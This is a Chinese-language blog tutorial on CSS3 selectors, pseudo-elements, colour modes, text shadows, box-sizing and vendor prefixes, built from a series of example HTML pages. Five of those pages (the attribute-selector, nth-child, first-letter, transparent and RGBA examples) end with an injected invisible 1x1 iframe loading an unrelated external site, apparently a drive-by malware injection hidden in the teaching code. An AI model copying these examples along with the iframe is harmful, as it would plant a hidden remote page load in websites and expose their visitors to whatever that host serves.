css3选择器，颜色，文本，盒模型

作者: charlotte2018 | 来源:发表于2017-12-05 15:00 被阅读26次

css3选择器，颜色，文本，盒模型
css 九宫格
css 书写规范
CSS3Flex和圣杯布局
CSS3
移动端如何自定义文本选择器颜色
盒模型
CSS3
HTML5和CSS3新增内容
CSS3 盒子模型

属性选择器

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        div{
            width: 300px;
            height: 40px;
            border: 1px solid #000;
            text-align: center;
            line-height: 40px;
            margin-top:5px;
        }
    /*属性选择器
        id选择器  #
        类名选择器：.
        属性选择器：[]
    */

        /*
            E[attr]：选中带有arrt 属性的E元素
            E[attr="val"]:选中带有attr属性，且attr值为"val“的E元素
            ^ :开头  $:结束  *：包含
            E[attr^="val"]:选中带有attr属性，且attr值为以"val“开头的E元素
            E[attr$="val"]:选中带有attr属性，且attr值为以"val“结尾的E元素
            E[attr*="val"]:选中带有attr属性，且attr值为包含"val“的E元素

        */
        
        /*div[title]{*/
            /*background-color: red;*/
        /*}*/

        /* 选中页面中的div 并且带有 class属性*/
       /*div[class]{*/
            /*background-color: red;*/
        /*}*/

        /* 选中页面中的div 并且带有 class属性， 属性的值等于 box7*/
        /*div[class="box7"]{*/
            /*background-color: red;*/
        /*}*/
        
        /* 选页面中div  并且 带有class属性，class属性以 aa开头*/

        /*div[class^="aa"]{*/
            /*background-color: red;*/
        /*}*/

        /* 选页面中div  并且 带有class属性，class属性以 bb结尾*/

        /*div[class$="bb"]{*/
            /*background-color: red;*/
        /*}*/

        /* 选页面中div  并且 带有class属性，class属性中包含 aa*/

        /*div[class*='aa']{*/
            /*background-color: red;*/
        /*}*/


        



    </style>
</head>
<body>
    <div class="box" title="我是第一个盒子" ></div>
    <div class="aabox1">1</div>
    <div class="bbbox2">2</div>
    <div class="box3aa">3</div>
    <div class="box4bb">4</div>
    <div class="aabox5bb">5</div>
    <div class="bbbox6aa">6</div>
    <div class="box7">7</div>
    <div >8</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

03-伪类选择器01.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        /* 伪类：
            ：link   ：hover  :active  :visited
            伪类的特点：以 ：开头
        */
        .box{
            width: 600px;
            height: 430px;
            margin:100px auto;
        }

        .box div{
            width: 80px;
            height: 80px;
            border: 1px solid #333;
            text-align: center;
            line-height: 80px;
            color:#666;
            float: left;
            font-size:24px;
            margin-top:-1px;
            margin-left:-1px;
        }

        /* 伪类选择器
            : 标志性符号

        */

        /* 选中 box 下面的div 第父盒子 中的第一个子元素*/
        /*.box div:first-child{*/
            /*background-color: red;*/
        /*}*/

        /* 选中 box 下面的div 第父盒子 中的最后一个子元素*/

        /*.box div:last-child{*/
            /*background-color: red;*/
        /*}*/

        /*选中box下的第18个盒子 */
        /* :nth-child(n) n是也给整数 从1开始  1，2,3,4,5....
            如果n小于等于0 无效  n ：正整数+0
        */

        /*.box div:nth-child(28){*/
            /*background-color: red;*/
        /*}*/

        /* 选中所有的box 下的div*/
        /*.box div:nth-child(n){*/
            /*background-color: pink;*/
        /*}*/
        
        /* 2n 选中所有的偶数*/
        /*.box div:nth-child(2n){*/
            /*background-color: red;*/
        /*}*/

        /* 2n-1 奇数*/
        /*.box div:nth-child(2n+1){*/
            /*background-color: red;*/
        /*}*/

        /* 奇数：odd  偶数：even*/

        /*.box div:nth-child(odd){*/
            /*background-color: red;*/
        /*}*/

        /*.box div:nth-child(even){*/
            /*background-color: yellow;*/
        /*}*/

        /* 选中7的倍数+1 */
        /*.box div:nth-child(7n+1){*/
            /*background-color: red;*/
        /*}*/

        /*选中前5个*/
        /*.box div:nth-child(-n+5){*/
            /*background-color: red;*/
        /*}*/

        /*选中后5个*/
        /* nth-last-child 从最后面开始选*/
        /*.box div:nth-last-child(-n+5){*/
            /*background-color: red;*/
        /*}*/

    </style>
</head>
<body>
    <div class="box">
        <div>1</div>
        <div>2</div>
        <div>3</div>
        <div>4</div>
        <div>5</div>
        <div>6</div>
        <div>7</div>
        <div>8</div>
        <div>9</div>
        <div>10</div>
        <div>11</div>
        <div>12</div>
        <div>13</div>
        <div>14</div>
        <div>15</div>
        <div>16</div>
        <div>17</div>
        <div>18</div>
        <div>19</div>
        <div>20</div>
        <div>21</div>
        <div>22</div>
        <div>23</div>
        <div>24</div>
        <div>25</div>
        <div>26</div>
        <div>27</div>
        <div>28</div>
        <div>29</div>
        <div>30</div>
        <div>31</div>
        <div>32</div>
        <div>33</div>
        <div>34</div>
        <div>35</div>
    </div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

伪元素before 和after

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
    /*
        伪元素： 伪  假的   元素：标签
        通过css样式模拟出 标签的效果

        css2 没有 伪元素的概念，只有伪类
            E:before  E:after  是伪类
        css3: 伪元素
            E::before
            E::after

            必须有 content:"";

    */
        span{
            color:red;
            font-size:30px;

        }

        span::before{
            content:"今天";
            color:green;
            width: 100px;
            height: 100px;
            background-color: blue;
            display: inline-block;
            border-radius: 50%;
        }

        span::after{
            content:"真好！";
            color:pink;
            width: 100px;
            height: 100px;
            background-color: blue;
            display: inline-block;
        }
        h1{
            color: white;
        }
    </style>
</head>
<body>
   <span>天气</span>
</body>
</html>

伪元素选择器first-letter.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        li::first-letter{
            color:red;
            font-size:40px;
        }
    </style>
</head>
<body>
<!-- first-letter :第一个字母-->
<ul>
    <li>As long as the effort of deep strokes fell great oaks</li>
    <li>只要功夫深，铁杵磨成针</li>
    <li>深いストロークの努力が大きな樫の落ちた限り</li>
</ul>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

css2透明颜色.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        .out{
            width: 400px;
            height: 400px;
            background-color: blue;
            margin:100px auto;
            border: 1px solid #000;
            /* 设置半透明*/
            opacity:0.5;

        }

        .in{
            width: 200px;
            height: 200px;
            background-color: red;
            margin:100px auto;
            /*当父盒子设置了透明度，再给子盒子设置透明度是不管用的*/
            opacity: 1;

        }
    </style>
</head>
<body>
    <div class="out">
        <div class="in"></div>
    </div>
</body>
</html>

02-transparent透明.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        .out{
            width: 400px;
            height: 400px;
            background-color: blue;
            margin:100px auto;
            border: 1px solid #000;
            /*transparent 透明的*/
            background:transparent;
        }



        .in{
            width: 200px;
            height: 200px;
            background-color: red;
            margin:100px auto;

        }
    </style>
</head>
<body>
<div class="out">
    <div class="in"></div>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

03-RGBA颜色模式.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        .out{
            width: 400px;
            height: 400px;
            /*background-color: blue;*/
            margin:100px auto;
            /*border: 1px solid #000;*/

            border:20px solid rgba(255,0,0,0.5);
            background:rgba(0,0,255,0.3);

            font-size:40px;
            font-family: "Microsoft Yahei";
            color:rgba(0,255,0,0.4);

        }



        .in{
            width: 200px;
            height: 200px;
            background-color: red;
            margin:100px auto;

        }

        /*
            在css3中提供了两种颜色模式
            RGBA: r red   g green  B blue A alpha: 透明度
            HSLA： H: 色调  S：饱和度 L:亮度 A alpha:透明度

        */
    </style>
</head>
<body>
<div class="out">
    我是文字
    <div class="in"></div>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

01-文本的阴影效果.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        p{
            font-size: 150px;
            font-family: "Microsoft Yahei";
            text-align: center;
            line-height: 150px;
            font-weight: bold;
            /* 文字阴影： 水平位移 垂直位移  模糊程度  阴影颜色*/
            text-shadow: 30px 23px 31px #333;
        }
    </style>
</head>
<body>
    <p>总有刁民想朕！</p>
    <i>总有刁民想朕！</i>
</body>
</html>

02-凹凸文字效果.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        body{

            background-color: #666;
        }
        
        p{
            font-size:120px;
            text-align: center;
            font-weight: bold;
            font-family: "Microsoft Yahei";
            color:#666;
        }
        /* text-shadow :文字阴影
            可以设置多个阴影
           每个阴影之间使用逗号隔开
            text-shadow: -1px -1px 1px #fff, 1px 1px 1px #000;
         */
        .ao{
            text-shadow: -1px -1px 1px #000, 1px 1px 1px #fff;
        }
        .tu{
            text-shadow: -1px -1px 1px #fff, 1px 1px 1px #000;
        }


    </style>
</head>
<body>
    <p class="ao">苍茫的天涯我的爱</p>
    <p class="tu">苍茫的天涯我的爱</p>
</body>
</html>

04-盒模型

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        div{
            width: 250px;
            height: 250px;
            background-color: red;
            margin-top:5px;
        }

        .box1{
            border: 25px solid blue;
            padding:25px;
            box-sizing: content-box;
        }

        .box3{
            border: 25px solid blue;
            padding:25px;

            box-sizing: border-box;
        }

        /*之前我们用盒子模型 都是外加模式
           盒子的最终宽度=内容区域宽度+padding+border
        */
    </style>
</head>
<body>
    <div class="box1"></div>
    <div class="box2"></div>
    <div class="box3"></div>
</body>
</html>

01-私有化前缀.html

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <style>
        .box{
            width: 1100px;
            height: 200px;
            border: 1px solid #000;
            margin:100px auto;

            /* 背景渐变*/
            /*
                -webkit-： chrome  safari  谷歌(webkit内核的) 苹果
                -moz-：火狐
                -ms-:ie
                -o-:　欧朋
            */

            /*background: -ms-linear-gradient(left,red 0%, green 100%);*/
            /*background: -webkit-linear-gradient(left,red 0%, yellow 50%, green 100%);*/
            /*background: -moz-linear-gradient(left,red 0%, green 100%);*/
            /*background: -o-linear-gradient(left,red 0%, green 100%);*/
            background: linear-gradient(left,red 0%, green 100%);
        }
    </style>
</head>
<body>
    <div class="box"></div>

</body>
</html>